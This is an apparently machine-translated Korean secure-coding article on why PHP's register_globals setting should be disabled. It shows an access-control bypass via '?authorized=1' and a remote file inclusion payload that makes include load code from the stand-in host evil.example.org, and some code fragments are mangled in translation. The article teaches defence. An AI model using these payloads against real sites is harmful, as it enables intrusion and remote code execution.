Register_globals 매개변수는 PHP 버전 4.2.0 이상에서 기본적으로 비활성화되어 있습니다. 이는 보안 취약점으로 간주되지는 않지만 확실히 보안 위험입니다. 따라서 개발 중에는 항상 Register_globals를 마스크해야 합니다.
이것이 보안 위험인 이유는 무엇입니까? 각 상황을 명확하게 설명하려면 별도의 설명이 필요하며 모든 상황에 대해 적절한 예를 하나만 제시하는 것은 매우 어렵습니다. 어쨌든, 가장 일반적인 예는 PHP 매뉴얼에 설명되어 있습니다:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';}? Register_globals 매개변수가 켜져 있으면 이 페이지는 ?authorized=1 매개변수를 사용하여 액세스할 수 있으므로 액세스 제어를 우회할 수 있습니다. 물론 이 명백한 취약점은 Register_globals보다는 부실한 개발의 결과이지만 위험한 취약점의 가능성을 분명히 증가시킵니다. 이 효과를 제거하면 일반 전역 변수(예: 이 예의 $authorized)는 더 이상 클라이언트가 제출한 데이터의 영향을 받지 않습니다. 가장 좋은 방법은 모든 변수를 초기화하고 error_reporting 매개변수를 E_ALL로 설정하여 개발 중에 초기화되지 않은 변수의 사용이 무시되지 않도록 하는 것입니다.
Register_globals에 대한 또 다른 예는 동적 경로를 포함하기 위해 include를 사용할 때 문제가 발생할 수 있다는 것입니다:
<?phpinclude "$path/script.php";?> 2F%2Fevil.example.org%2F%3F 매개변수 액세스는 이 예제의 코드를 다음 코드와 동일하게 만듭니다.
<?phpinclude 'http://evil.example.org/?/script.php';? 매개변수 허용_url_fopen이 켜져 있습니다(php.ini-recommended에서도 기본적으로 켜져 있음). 여기에는 로컬 파일뿐만 아니라 http://evil.example.org/ 와 같은 원격 파일도 포함됩니다. 이는 매우 유명한 일부 오픈 소스 프로젝트에서도 발견되는 일반적인 보안 취약점입니다.
$path를 초기화하면 Register_globals 매개변수를 보호하지 않고도 이러한 숨겨진 위험을 피할 수 있습니다. 그러나 개발자의 실수로 인해 초기화되지 않은 변수가 발생할 수 있습니다. Register_globals 매개변수를 차단하도록 전역 구성을 수정하면 이러한 숨겨진 위험이 무시되는 것을 최대한 피할 수 있습니다.
편리함은 언제나 좋습니다. 과거에는 양식 데이터와 일반 변수를 수동으로 구분해야 했습니다. $_POST 및 $_GET의 내장 전역 배열을 사용하는 것도 매우 편리하며, Register_globals 매개변수를 켜는 데 따른 위험을 감수할 가치가 없습니다. 나는 Register_globals 매개변수를 활성화하는 것이 보안을 약화시킨다는 점에 전적으로 동의하지 않지만, 비활성화하는 것을 강력히 권장합니다.
Register_globals 매개변수를 차단하면 개발자가 데이터 소스에 더 많은 주의를 기울이는 데 도움이 되며, 이것이 바로 보안에 민감한 개발자가 갖춰야 할 품질입니다.